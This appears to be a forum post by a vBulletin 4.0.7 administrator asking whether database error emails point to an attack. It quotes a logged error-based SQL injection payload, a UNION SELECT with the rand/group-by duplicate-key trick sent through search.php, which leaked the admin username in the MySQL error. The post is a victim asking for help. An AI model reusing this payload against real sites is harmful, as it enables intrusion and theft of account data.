Is this someone trying to hack my forum?

[Macsee]

I got a vBulletin Database Error email ... I do sometimes get these but only today am getting a chance to explore the problem.

The latest one says

Database error in vBulletin 4.0.7:

Invalid SQL:

SELECT socialgroupcategory.title
FROM vb4socialgroupcategory AS socialgroupcategory
WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select username from vb4user where userid=1 and row(1,1)>(select count(*),concat( (select vb4user.username) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);

MySQL Error : Duplicate entry 'MyAdminUserName:1' for key 'group_key'
Error Number : 1062
Request Date : Thursday, October 13th 2011 @ 03:22:12 AM
Error Date : Thursday, October 13th 2011 @ 03:22:12 AM
Script : (http://myforums.com)/forums/search.php?do=process
Referrer :
IP Address : xx.xx. (resolves to Russia which looks suspicious)

I've had a series of such messages. The MySQL Duplicate Entry text varies and often contains some jumbled characters like "9e0284bb4195bfe68b0..." which looks session ID related and "Table 'mysite-com-forum.user' doesn't exist" and "''%}-Gv;...k&c-Q ...6~7^qnH!C:1' for key 'group_key'"

Could anyone shed any light on what this is and / or what I need to do? Thanks in advance.